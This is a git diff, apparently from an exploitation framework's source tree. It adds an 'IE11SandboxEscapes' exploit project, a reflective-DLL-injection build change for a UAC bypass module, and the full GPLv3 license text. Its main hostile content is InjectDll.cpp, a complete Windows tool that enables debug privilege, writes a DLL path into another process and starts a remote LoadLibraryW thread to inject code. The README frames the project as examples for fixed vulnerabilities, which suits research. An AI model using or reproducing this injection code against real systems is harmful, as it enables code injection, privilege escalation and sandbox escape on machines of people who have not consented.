{2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|x64.ActiveCfg = Debug|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|x64.Build.0 = Debug|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|Win32.ActiveCfg = Release|Win32 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|Win32.Build.0 = Release|Win32 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|x64.ActiveCfg = Release|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.cpp b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.cpp new file mode 100755 index 0000000000..4dfba1f89c --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.cpp @@ -0,0 +1,107 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" + +BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if(!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) + { + printf("Error 1 %d\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if(bEnablePrivilege) + { + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + } + else + { + tp.Privileges[0].Attributes = 0; + } + + if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) + { + printf("Error adjusting privilege %d\n", GetLastError()); + return FALSE; + } + + if(GetLastError() == ERROR_NOT_ALL_ASSIGNED) + { + printf("Not all privilges available\n"); + return FALSE; + } + + return TRUE; +} + + +int _tmain(int argc, _TCHAR* argv[]) +{ + if(argc < 3) + { + printf("Usage: InjectDll pid PathToDll\n"); + return 1; + } + + WCHAR path[MAX_PATH]; + + GetFullPathName(argv[2], MAX_PATH, path, nullptr); + int pid = wcstoul(argv[1], 0, 0); + + printf("Injecting DLL: %ls into PID: %d\n", path, pid); + + HANDLE hToken; + OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); + + SetPrivilege(hToken, SE_DEBUG_NAME, TRUE); + + HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); + if(hProcess) + { + size_t strSize = (wcslen(path) + 1) * sizeof(WCHAR); + LPVOID pBuf = VirtualAllocEx(hProcess, 0, strSize, MEM_COMMIT, PAGE_READWRITE); + if(pBuf == NULL) + { + printf("Couldn't allocate memory in process\n"); + return 1; + } + SIZE_T written; + if (!WriteProcessMemory(hProcess, pBuf, path, strSize, &written)) + { + printf("Couldn't write to process memory\n"); + return 1; + } + + LPVOID pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"); + + if(!CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryW, pBuf, 0, NULL)) + { + printf("Couldn't create remote thread %d\n", GetLastError()); + } + } + else + { + printf("Couldn't open process %d\n", GetLastError()); + } + + return 0; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.vcxproj b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.vcxproj new file mode 100755 index 0000000000..73d3147876 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD} + Win32Proj + InjectDll + + + + Application + true + Unicode + v120 + + + Application + true + Unicode + v120 + + + Application + false + true + Unicode + v120 + + + Application + false + true + Unicode + v120 + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.cpp new file mode 100755 index 0000000000..85ffe01166 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// InjectDll.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.h b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.h new file mode 100755 index 0000000000..83ad88a10f --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.h @@ -0,0 +1,12 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/targetver.h b/external/source/exploits/IE11SandboxEscapes/InjectDll/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/LICENSE b/external/source/exploits/IE11SandboxEscapes/LICENSE new file mode 100755 index 0000000000..70566f2d0e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/LICENSE @@ -0,0 +1,674 @@ +GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/README.md b/external/source/exploits/IE11SandboxEscapes/README.md new file mode 100755 index 0000000000..a51ddd8491 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/README.md @@ -0,0 +1,10 @@ +IE11SandboxEscapes +================== + +Some example source code for fixed IE11 sandbox escapes. + +(c) James Forshaw 2014 + +For information purposes only. + +All files are licensed under GPLv3. See LICENSE for more information. \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/make.msbuild b/external/source/exploits/IE11SandboxEscapes/make.msbuild new file mode 100755 index 0000000000..e2ca621d10 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/make.msbuild @@ -0,0 +1,18 @@ + + + + .\IE11SandboxEscapes.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj index 0695003480..e4b84d4ce1 100644 --- a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj +++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj @@ -93,7 +93,7 @@ Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) true 